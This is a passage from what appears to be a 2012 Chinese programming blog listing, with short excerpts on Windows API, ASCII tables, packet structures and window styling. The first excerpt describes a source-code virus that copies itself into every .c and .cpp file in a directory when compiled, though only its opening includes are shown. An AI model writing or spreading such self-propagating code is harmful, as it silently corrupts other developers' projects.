现在位置: 首页 > 自动控制 > 工业·编程 > 文章
2012-08-20 06:45 工业·编程 ⁄ 共 3374字 暂无评论
主要是感染C/C++源文件只要编译该段源程序就会使当前目录里的所有.c和.cpp文件感染上病毒,当然如果是没有主函数的源文件就没有作用:思想很简单:插入一段复制自身的代码,而这段代码是将自身的病毒部分传播给同目录下的其它文件。 程序清单: 1.病毒文件 //START #include <windows.h> #include <fstream> #include <string> #include <iostream> using namespace std; //...
阅读全文
//================================================ //文件名:MNetWorkPKT.h //常见的网络数据包的数据结构 //================================================ #ifndef _NETWORK_PACKET_H #define _NETWORD_PACKET_H #pragma once //地址定义 //================================================ //IP地址定义 typedef struct _ip_addr { unsigned char ucByte1; unsigned char uc...
阅读全文
2012-08-20 06:41 工业·编程 ⁄ 共 2434字 暂无评论
Bin Dec Hex 缩写/字符 解释 00000000 0 00 NUL(null) 空字符 00000001 1 01 SOH(start of headling) 标题开始 00000010 2 02 STX (start of text) 正文开始 00000011 3 03 ETX (end of text) 正文结束 00000100 4 04 EOT (end of transmission) 传输结束 00000101 5 05 ENQ (enquiry) 请求 00000110 6 06 ACK (acknowledge) ...
阅读全文
2012-08-20 06:37 工业·编程 ⁄ 共 2287字 暂无评论
有人说不要重新发明轮子,诚然,我同意这种说法,作为运行在Windows上的用户级程序均构架在Windows API之上。如果你了解或者深究Windows API,那么你写来的程序更易找到BUG,运行效率更高,前言,我只说到这。 【准备知识】 DC:(Device Context)设备上下文,对于一个有效的窗口而言,它将会有一个DC,它的作用很简单,说比如说,要画一幅图,DC就好比你作图的工具,里面保存了画笔、画刷等等信息,只是有这些信息,我们就...
阅读全文
2012-08-20 06:35 工业·编程 ⁄ 共 2834字 暂无评论
【前言】 看了网上的一篇《关于WM_NCCALCSIZE消息处理详解(原帖由niesongsong发表)》 的文章,正好自己正在写换肤程序,用了以后发现了一些问题,特贡献出来供 大家参考学习! 【问题】 主要问题是原作者把处理后的NCCALCSIZE_PARAMS结构搞错了。借鉴 MSDN中的CWnd::OnNcCalcSize 函数注释,其原文如下: afx_msg void OnNcCalcSize( BOOL bCalcValidRects, NCCALCSIZE_PARAMS* lpncsp ); Parameters bCalcValidRects Specifi...
阅读全文
2012-08-20 06:34 工业·编程 ⁄ 共 722字 暂无评论
在很多的时候,希望自己的软件在整个窗口运行,以利用资源和显示清楚,方便用户。先将软件全屏显示的方法总结如下: 1. 最简单的方式:ShowWindow(m_hWnd, SW_SHOWMAXIMIZEDE); 2. 发送消息法:PostMessage(hWnd,WM_SYSCOMMAND,SC_MAXIMIZE,0); 3. 在PreCreateWindow(CREATESTRUCT& cs)函数中添加:      {          //...    &...
阅读全文
2012-08-20 06:30 工业·编程 ⁄ 共 2178字 暂无评论
    要实现窗口(如菜单、按钮、主背景等)背景颜色的多样化,有很多种实现方法,其中颜色渐变就是一种比较常见的方法。它简单实用,即改变了窗口背景颜色的单调,又实现简单。主要方法有很多种,各有各的算法和特点。我在此给大家介绍3种比较简单的方法,且是2种颜色之间的渐变。 1.自绘法:首先获取两种颜色的R、G、B分量的差值,然后获取显示区域的距离,用R、G、B值除以区域的距离获得每一个像素点R、G、B...
阅读全文
2012-08-20 06:28 工业·编程 ⁄ 共 1295字 暂无评论
//十进制转换为二进制代码 #include<iostream.h>      char *ok(int n,char *b)  {  static int LEN=8*sizeof(int);  for(int i=LEN-1;i>=0;i--,n>>=1)    b[i]=(01&n)+'0';  b[LEN]='/0';  return b;  }  void main()  {  int v[]={0,1,2,3,4,5,6,7,8,9};  char b[8*sizeof(int)+1];  int i=-1;...
阅读全文
2012-08-20 06:27 工业·编程 ⁄ 共 2282字 暂无评论
    前段时间一直在想怎么样能让窗口变得更漂亮一点,更加吸引人呢?在网上也看到了不少高手们的做法,但对于我这种不喜欢太复杂的人来说,我不是很喜欢那样写代码,GetSystemMetrics函数来得到各个边框的长度或宽度。。。。没几下,我的头就晕了,在查了许多资料以及实验后,我终于找到了一种比较简单的美化窗口的方法,现在就拿出来献丑一下,觉得不好的就请跳过去吧~~ 大家请看这张图:     ...
阅读全文
2012-08-20 06:25 工业·编程 ⁄ 共 628字 暂无评论
bool ReadShortcut(LPWSTR lpwLnkFile, LPSTR lpDescFile) { bool bReturn = true; IShellLink *pShellLink; if(bReturn) { bReturn = (CoInitialize(NULL) == S_OK); if(bReturn) { bReturn = CoCreateInstance (CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER, IID_IShellLink, (void **)&pShellLink) >= 0; if(bReturn) { IPersistFile *ppf; bReturn = pShellLink->Quer...
阅读全文